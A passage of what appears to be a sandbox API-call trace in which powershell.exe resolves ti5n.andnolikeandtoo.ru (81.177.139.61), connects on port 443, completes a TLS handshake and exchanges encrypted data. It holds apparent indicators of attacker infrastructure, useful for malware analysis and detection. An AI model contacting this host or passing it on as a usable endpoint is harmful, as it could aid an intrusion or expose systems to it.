ai_addrlen=0x10, ai_canonname="ti5n.andnolikeandtoo.ru", ai_addr=0x1cbf2906f80*(sa_family=2, sin_port=0x0, sin_addr="81.177.139.61"), ai_next=0x0)) returned 0 [0158.377] FreeAddrInfoW (pAddrInfo=0x1cbf2a56bd0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ti5n.andnolikeandtoo.ru", ai_addr=0x1cbf2906f80*(sa_family=2, sin_port=0x0, sin_addr="81.177.139.61"), ai_next=0x0)) [0158.380] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x8fc [0158.380] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x904 [0158.380] ioctlsocket (in: s=0x8fc, cmd=-2147195266, argp=0x250580df98 | out: argp=0x250580df98) returned 0 [0158.380] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x908 [0158.380] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x90c [0158.380] ioctlsocket (in: s=0x908, cmd=-2147195266, argp=0x250580df98 | out: argp=0x250580df98) returned 0 [0158.381] WSAIoctl (in: s=0x8fc, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x250580df20, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x250580df20, lpOverlapped=0x0) returned -1 [0158.381] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x250580db00, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0158.381] WSAEventSelect (s=0x8fc, hEventObject=0x904, lNetworkEvents=512) returned 0 [0158.381] WSAIoctl (in: s=0x908, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x250580df20, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x250580df20, lpOverlapped=0x0) returned -1 [0158.381] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x250580db00, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0158.381] WSAEventSelect (s=0x908, hEventObject=0x90c, lNetworkEvents=512) returned 0 [0158.381] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x250580df88*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x250580df88*=0x968) returned 0x6f [0158.397] LocalAlloc (uFlags=0x0, uBytes=0x968) returned 0x1cbf2a5ed60 [0158.397] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x1cbf2a5ed60, SizePointer=0x250580df88*=0x968 | out: AdapterAddresses=0x1cbf2a5ed60*(Alignment=0x2000001c0, Length=0x1c0, IfIndex=0x2, Next=0x1cbf2a5f080, AdapterName="{2652C480-CA61-47C1-B39D-5A150292CCF3}", FirstUnicastAddress=0x1cbf2a5efd0, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #2", FriendlyName="Ethernet 2", PhysicalAddress=([0]=0xb4, [1]=0xdd, [2]=0x15, [3]=0xb0, [4]=0x70, [5]=0x32, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x1c5, DdnsEnabled=0x1c5, RegisterAdapterSuffix=0x1c5, Dhcpv4Enabled=0x1c5, ReceiveOnly=0x1c5, NoMulticast=0x1c5, Ipv6OtherStatefulConfig=0x1c5, NetbiosOverTcpipEnabled=0x1c5, Ipv4Enabled=0x1c5, Ipv6Enabled=0x1c5, Ipv6ManagedAddressConfigurationSupported=0x1c5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x2, ZoneIndices=([0]=0x2, [1]=0x2, [2]=0x2, [3]=0x2, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0x19, Ipv6Metric=0x19, Luid=0x6008002000000, Dhcpv4Server.lpSockaddr=0x1cbf2a5ef20*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11e7933cfae992b0, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x23, [5]=0x7d, [6]=0xeb, [7]=0x9, [8]=0x7c, [9]=0x4a, [10]=0x82, [11]=0x56, [12]=0xb9, [13]=0x2b, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x57c4a82, FirstDnsSuffix=0x0), SizePointer=0x250580df88*=0x968) returned 0x0 [0158.452] LocalFree (hMem=0x1cbf2a5ed60) returned 0x0 [0158.495] WSAConnect (in: s=0x8f4, name=0x1cbdab1a9f0*(sa_family=2, sin_port=0x1bb, sin_addr="81.177.139.61"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0158.606] closesocket (s=0x8cc) returned 0 [0158.660] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580dd18 | out: phkResult=0x250580dd18*=0x8cc) returned 0x0 [0158.661] RegQueryValueExW (in: hKey=0x8cc, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x250580dd58, lpData=0x0, lpcbData=0x250580dd50*=0x0 | out: lpType=0x250580dd58*=0x0, lpData=0x0, lpcbData=0x250580dd50*=0x0) returned 0x2 [0158.661] RegCloseKey (hKey=0x8cc) returned 0x0 [0158.669] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580dd18 | out: phkResult=0x250580dd18*=0x8cc) returned 0x0 [0158.670] RegQueryValueExW (in: hKey=0x8cc, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x250580dd58, lpData=0x0, lpcbData=0x250580dd50*=0x0 | out: lpType=0x250580dd58*=0x0, lpData=0x0, lpcbData=0x250580dd50*=0x0) returned 0x2 [0158.670] RegCloseKey (hKey=0x8cc) returned 0x0 [0158.676] GetCurrentProcessId () returned 0x6d0 [0158.676] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6d0) returned 0x8cc [0158.676] EnumProcessModules (in: hProcess=0x8cc, lphModule=0x1cbdab1d970, cb=0x200, lpcbNeeded=0x250580dd40 | out: lphModule=0x1cbdab1d970, lpcbNeeded=0x250580dd40) returned 1 [0158.676] EnumProcessModules (in: hProcess=0x8cc, lphModule=0x1cbdab1db88, cb=0x400, lpcbNeeded=0x250580dd40 | out: lphModule=0x1cbdab1db88, lpcbNeeded=0x250580dd40) returned 1 [0158.676] GetModuleInformation (in: hProcess=0x8cc, hModule=0x7ff620360000, lpmodinfo=0x1cbdab1dff8, cb=0x18 | out: lpmodinfo=0x1cbdab1dff8*(lpBaseOfDll=0x7ff620360000, SizeOfImage=0x70000, EntryPoint=0x7ff620362ee0)) returned 1 [0158.677] CoTaskMemAlloc (cb=0x804) returned 0x1cbf2a5ee10 [0158.677] GetModuleBaseNameW (in: hProcess=0x8cc, hModule=0x7ff620360000, lpBaseName=0x1cbf2a5ee10, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0158.677] CoTaskMemFree (pv=0x1cbf2a5ee10) [0158.677] CoTaskMemAlloc (cb=0x804) returned 0x1cbf2a5ee10 [0158.677] GetModuleFileNameExW (in: hProcess=0x8cc, hModule=0x7ff620360000, lpFilename=0x1cbf2a5ee10, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0158.677] CoTaskMemFree (pv=0x1cbf2a5ee10) [0158.677] CloseHandle (hObject=0x8cc) returned 1 [0158.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0158.677] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0158.678] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.SchSendAuxRecord", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580dd28 | out: phkResult=0x250580dd28*=0x0) returned 0x2 [0158.678] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580dd28 | out: phkResult=0x250580dd28*=0x8cc) returned 0x0 [0158.678] RegQueryValueExW (in: hKey=0x8cc, lpValueName="SchSendAuxRecord", lpReserved=0x0, lpType=0x250580dd68, lpData=0x0, lpcbData=0x250580dd60*=0x0 | out: lpType=0x250580dd68*=0x0, lpData=0x0, lpcbData=0x250580dd60*=0x0) returned 0x2 [0158.678] RegCloseKey (hKey=0x8cc) returned 0x0 [0158.679] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580dd18 | out: phkResult=0x250580dd18*=0x8cc) returned 0x0 [0158.679] RegQueryValueExW (in: hKey=0x8cc, lpValueName="SystemDefaultTlsVersions", lpReserved=0x0, lpType=0x250580dd58, lpData=0x0, lpcbData=0x250580dd50*=0x0 | out: lpType=0x250580dd58*=0x0, lpData=0x0, lpcbData=0x250580dd50*=0x0) returned 0x2 [0158.679] RegCloseKey (hKey=0x8cc) returned 0x0 [0158.680] GetCurrentProcessId () returned 0x6d0 [0158.680] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6d0) returned 0x8cc [0158.680] EnumProcessModules (in: hProcess=0x8cc, lphModule=0x1cbdab20fa8, cb=0x200, lpcbNeeded=0x250580dd30 | out: lphModule=0x1cbdab20fa8, lpcbNeeded=0x250580dd30) returned 1 [0158.681] EnumProcessModules (in: hProcess=0x8cc, lphModule=0x1cbdab211c0, cb=0x400, lpcbNeeded=0x250580dd30 | out: lphModule=0x1cbdab211c0, lpcbNeeded=0x250580dd30) returned 1 [0158.681] GetModuleInformation (in: hProcess=0x8cc, hModule=0x7ff620360000, lpmodinfo=0x1cbdab21630, cb=0x18 | out: lpmodinfo=0x1cbdab21630*(lpBaseOfDll=0x7ff620360000, SizeOfImage=0x70000, EntryPoint=0x7ff620362ee0)) returned 1 [0158.681] CoTaskMemAlloc (cb=0x804) returned 0x1cbf2a5ee10 [0158.681] GetModuleBaseNameW (in: hProcess=0x8cc, hModule=0x7ff620360000, lpBaseName=0x1cbf2a5ee10, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0158.681] CoTaskMemFree (pv=0x1cbf2a5ee10) [0158.681] CoTaskMemAlloc (cb=0x804) returned 0x1cbf2a5ee10 [0158.681] GetModuleFileNameExW (in: hProcess=0x8cc, hModule=0x7ff620360000, lpFilename=0x1cbf2a5ee10, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0158.681] CoTaskMemFree (pv=0x1cbf2a5ee10) [0158.681] CloseHandle (hObject=0x8cc) returned 1 [0158.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0158.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0158.682] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.RequireCertificateEKUs", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580dd18 | out: phkResult=0x250580dd18*=0x0) returned 0x2 [0158.682] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x250580dd18 | out: phkResult=0x250580dd18*=0x8cc) returned 0x0 [0158.682] RegQueryValueExW (in: hKey=0x8cc, lpValueName="RequireCertificateEKUs", lpReserved=0x0, lpType=0x250580dd58, lpData=0x0, lpcbData=0x250580dd50*=0x0 | out: lpType=0x250580dd58*=0x0, lpData=0x0, lpcbData=0x250580dd50*=0x0) returned 0x2 [0158.682] RegCloseKey (hKey=0x8cc) returned 0x0 [0158.692] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x1cbf29193c0 [0158.694] CryptFindOIDInfo (dwKeyType=0x2, pvKey=0x1cbf29193c0, dwGroupId=0x0) returned 0x0 [0158.698] LocalFree (hMem=0x1cbf29193c0) returned 0x0 [0158.698] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x1cbf29189a0 [0158.698] CryptFindOIDInfo (dwKeyType=0x2, pvKey=0x1cbf29189a0, dwGroupId=0x0) returned 0x0 [0158.698] LocalFree (hMem=0x1cbf29189a0) returned 0x0 [0158.717] EnumerateSecurityPackagesW (in: pcPackages=0x250580ddf8, ppPackageInfo=0x250580dd10 | out: pcPackages=0x250580ddf8, ppPackageInfo=0x250580dd10) returned 0x0 [0158.734] FreeContextBuffer (in: pvContextBuffer=0x1cbf2a437b0 | out: pvContextBuffer=0x1cbf2a437b0) returned 0x0 [0158.755] GetCurrentProcess () returned 0xffffffffffffffff [0158.756] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x250580d948 | out: TokenHandle=0x250580d948*=0x910) returned 1 [0158.761] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x1cbdab23ec4, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x250580dab0, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x1cbdab26348, ptsExpiry=0x250580d9d0 | out: phCredential=0x1cbdab26348, ptsExpiry=0x250580d9d0) returned 0x0 [0158.775] InitializeSecurityContextW (in: phCredential=0x250580d9a8, phContext=0x0, pTargetName=0x1cbdab1ab54, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x1cbdab26600, pOutput=0x1cbdab26558, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d9a0 | out: phNewContext=0x1cbdab26600, pOutput=0x1cbdab26558, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d9a0) returned 0x90312 [0158.777] FreeContextBuffer (in: pvContextBuffer=0x1cbf297ce20 | out: pvContextBuffer=0x1cbf297ce20) returned 0x0 [0158.781] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ff9e80b0000 [0158.793] GetProcAddress (hModule=0x7ff9e80b0000, lpProcName="AppPolicyGetClrCompat") returned 0x7ff9e5ac0900 [0158.794] AppPolicyGetClrCompat () returned 0x0 [0158.797] send (s=0x8f4, buf=0x1cbdab26628*, len=131, flags=0) returned 131 [0158.799] recv (in: s=0x8f4, buf=0x1cbdab26628, len=5, flags=0 | out: buf=0x1cbdab26628*) returned 5 [0158.864] recv (in: s=0x8f4, buf=0x1cbdab2662d, len=69, flags=0 | out: buf=0x1cbdab2662d*) returned 69 [0158.870] InitializeSecurityContextW (in: phCredential=0x250580d898, phContext=0x250580d9c0, pTargetName=0x1cbdab1ab54, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x1cbdab26c40, Reserved2=0x0, phNewContext=0x1cbdab26600, pOutput=0x1cbdab26c60, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d890 | out: phNewContext=0x1cbdab26600, pOutput=0x1cbdab26c60, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d890) returned 0x90312 [0158.870] recv (in: s=0x8f4, buf=0x1cbdab26d50, len=5, flags=0 | out: buf=0x1cbdab26d50*) returned 5 [0158.870] recv (in: s=0x8f4, buf=0x1cbdab26d75, len=2602, flags=0 | out: buf=0x1cbdab26d75*) returned 2602 [0158.871] InitializeSecurityContextW (in: phCredential=0x250580d788, phContext=0x250580d8b0, pTargetName=0x1cbdab1ab54, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x1cbdab27868, Reserved2=0x0, phNewContext=0x1cbdab26600, pOutput=0x1cbdab27888, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d780 | out: phNewContext=0x1cbdab26600, pOutput=0x1cbdab27888, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d780) returned 0x90312 [0158.872] recv (in: s=0x8f4, buf=0x1cbdab27978, len=5, flags=0 | out: buf=0x1cbdab27978*) returned 5 [0158.872] recv (in: s=0x8f4, buf=0x1cbdab2799d, len=298, flags=0 | out: buf=0x1cbdab2799d*) returned 298 [0158.872] InitializeSecurityContextW (in: phCredential=0x250580d678, phContext=0x250580d7a0, pTargetName=0x1cbdab1ab54, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x1cbdab27b90, Reserved2=0x0, phNewContext=0x1cbdab26600, pOutput=0x1cbdab27bb0, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d670 | out: phNewContext=0x1cbdab26600, pOutput=0x1cbdab27bb0, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d670) returned 0x90312 [0158.873] recv (in: s=0x8f4, buf=0x1cbdab27ca0, len=5, flags=0 | out: buf=0x1cbdab27ca0*) returned 5 [0158.873] recv (in: s=0x8f4, buf=0x1cbdab27cc5, len=4, flags=0 | out: buf=0x1cbdab27cc5*) returned 4 [0158.873] InitializeSecurityContextW (in: phCredential=0x250580d568, phContext=0x250580d690, pTargetName=0x1cbdab1ab54, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x1cbdab27d98, Reserved2=0x0, phNewContext=0x1cbdab26600, pOutput=0x1cbdab27db8, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d560 | out: phNewContext=0x1cbdab26600, pOutput=0x1cbdab27db8, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d560) returned 0x90312 [0158.904] FreeContextBuffer (in: pvContextBuffer=0x1cbf296f330 | out: pvContextBuffer=0x1cbf296f330) returned 0x0 [0158.904] send (s=0x8f4, buf=0x1cbdab27e88*, len=101, flags=0) returned 101 [0158.904] recv (in: s=0x8f4, buf=0x1cbdab27e88, len=5, flags=0 | out: buf=0x1cbdab27e88*) returned 5 [0158.967] recv (in: s=0x8f4, buf=0x1cbdab27f2d, len=218, flags=0 | out: buf=0x1cbdab27f2d*) returned 218 [0158.967] InitializeSecurityContextW (in: phCredential=0x250580d458, phContext=0x250580d580, pTargetName=0x1cbdab1ab54, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x1cbdab280d0, Reserved2=0x0, phNewContext=0x1cbdab26600, pOutput=0x1cbdab280f0, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d450 | out: phNewContext=0x1cbdab26600, pOutput=0x1cbdab280f0, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d450) returned 0x90312 [0158.968] recv (in: s=0x8f4, buf=0x1cbdab281e0, len=5, flags=0 | out: buf=0x1cbdab281e0*) returned 5 [0158.968] recv (in: s=0x8f4, buf=0x1cbdab28205, len=1, flags=0 | out: buf=0x1cbdab28205*) returned 1 [0158.968] InitializeSecurityContextW (in: phCredential=0x250580d348, phContext=0x250580d470, pTargetName=0x1cbdab1ab54, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x1cbdab282d0, Reserved2=0x0, phNewContext=0x1cbdab26600, pOutput=0x1cbdab282f0, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d340 | out: phNewContext=0x1cbdab26600, pOutput=0x1cbdab282f0, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d340) returned 0x90312 [0158.968] recv (in: s=0x8f4, buf=0x1cbdab283e0, len=5, flags=0 | out: buf=0x1cbdab283e0*) returned 5 [0158.968] recv (in: s=0x8f4, buf=0x1cbdab28405, len=48, flags=0 | out: buf=0x1cbdab28405*) returned 48 [0158.968] InitializeSecurityContextW (in: phCredential=0x250580d238, phContext=0x250580d360, pTargetName=0x1cbdab1ab54, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x1cbdab28500, Reserved2=0x0, phNewContext=0x1cbdab26600, pOutput=0x1cbdab28520, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d230 | out: phNewContext=0x1cbdab26600, pOutput=0x1cbdab28520, pfContextAttr=0x1cbdab23e90, ptsExpiry=0x250580d230) returned 0x0 [0158.996] QueryContextAttributesW (in: phContext=0x1cbdab26600, ulAttribute=0x4, pBuffer=0x1cbdab28648 | out: pBuffer=0x1cbdab28648) returned 0x0 [0158.997] QueryContextAttributesW (in: phContext=0x1cbdab26600, ulAttribute=0x5a, pBuffer=0x1cbdab286d8 | out: pBuffer=0x1cbdab286d8) returned 0x0 [0159.000] QueryContextAttributesW (in: phContext=0x1cbdab26600, ulAttribute=0x53, pBuffer=0x1cbdab287c8 | out: pBuffer=0x1cbdab287c8) returned 0x0 [0159.000] CertDuplicateCertificateContext (pCertContext=0x1cbf29ef150) returned 0x1cbf29ef150 [0159.042] CertDuplicateStore (hCertStore=0x1cbf28d3270) returned 0x1cbf28d3270 [0159.043] CertEnumCertificatesInStore (hCertStore=0x1cbf28d3270, pPrevCertContext=0x0) returned 0x1cbf29ef350 [0159.043] CertDuplicateCertificateContext (pCertContext=0x1cbf29ef350) returned 0x1cbf29ef350 [0159.048] CertEnumCertificatesInStore (hCertStore=0x1cbf28d3270, pPrevCertContext=0x1cbf29ef350) returned 0x1cbf29ef150 [0159.048] CertDuplicateCertificateContext (pCertContext=0x1cbf29ef150) returned 0x1cbf29ef150 [0159.048] CertEnumCertificatesInStore (hCertStore=0x1cbf28d3270, pPrevCertContext=0x1cbf29ef150) returned 0x0 [0159.048] CertCloseStore (hCertStore=0x1cbf28d3270, dwFlags=0x0) returned 1 [0159.049] CertFreeCertificateContext (pCertContext=0x1cbf29ef150) returned 1 [0159.057] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x1cbf28d3750 [0159.059] CertAddCRLLinkToStore (in: hCertStore=0x1cbf28d3750, pCrlContext=0x1cbf29ef350, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0159.060] CertAddCRLLinkToStore (in: hCertStore=0x1cbf28d3750, pCrlContext=0x1cbf29ef150, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0159.060] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1cbf2919f60 [0159.062] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x1cbf29ef150, pTime=0x250580d368, hAdditionalStore=0x1cbf28d3750, pChainPara=0x250580d208, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x250580d1f0 | out: ppChainContext=0x250580d1f0) returned 1 [0159.069] LocalFree (hMem=0x1cbf2919f60) returned 0x0 [0159.070] CertDuplicateCertificateChain (pChainContext=0x1cbf2a3b820) returned 0x1cbf2a3b820 [0159.070] CertDuplicateCertificateContext (pCertContext=0x1cbf29ef150) returned 0x1cbf29ef150 [0159.070] CertDuplicateCertificateContext (pCertContext=0x1cbf29efd50) returned 0x1cbf29efd50 [0159.071] CertDuplicateCertificateContext (pCertContext=0x1cbf29eedd0) returned 0x1cbf29eedd0 [0159.071] CertFreeCertificateChain (pChainContext=0x1cbf2a3b820) [0159.072] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x1cbf2a3b820, pPolicyPara=0x250580d4b8, pPolicyStatus=0x250580d498 | out: pPolicyStatus=0x250580d498) returned 1 [0159.072] SetLastError (dwErrCode=0x0) [0159.074] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x1cbf2a3b820, pPolicyPara=0x250580d588, pPolicyStatus=0x250580d4e8 | out: pPolicyStatus=0x250580d4e8) returned 1 [0159.086] CertFreeCertificateChain (pChainContext=0x1cbf2a3b820) [0159.086] CertFreeCertificateContext (pCertContext=0x1cbf29ef150) returned 1 [0159.088] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x250580cd10, nSize=0xeb | out: lpBuffer="뮮翹") returned 0x0 [0159.088] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x250580cd10, nSize=0xeb | out: lpBuffer="뮮翹") returned 0x0 [0159.088] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x250580cd10, nSize=0xeb | out: lpBuffer="뮮翹") returned 0x0 [0159.088] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x250580cd10, nSize=0xeb | out: lpBuffer="뮮翹") returned 0x0 [0159.090] EncryptMessage (in: phContext=0x1cbdab26600, fQOP=0x0, pMessage=0x1cbdab31868, MessageSeqNo=0x0 | out: pMessage=0x1cbdab31868) returned 0x0 [0159.091] send (s=0x8f4, buf=0x1cbdab302b8*, len=154, flags=0) returned 154 [0159.123] setsockopt (s=0x8f4, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0159.124] recv (in: s=0x8f4, buf=0x1cbdab3dc60, len=5, flags=0 | out: buf=0x1cbdab3dc60*) returned 5 [0159.154] recv (in: s=0x8f4, buf=0x1cbdab3dc65, len=304, flags=0 | out: buf=0x1cbdab3dc65*) returned 304 [0159.155] DecryptMessage (in: phContext=0x1cbdab26600, pMessage=0x1cbdab41d88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x1cbdab41d88, pfQOP=0x0) returned 0x0 [0159.249] 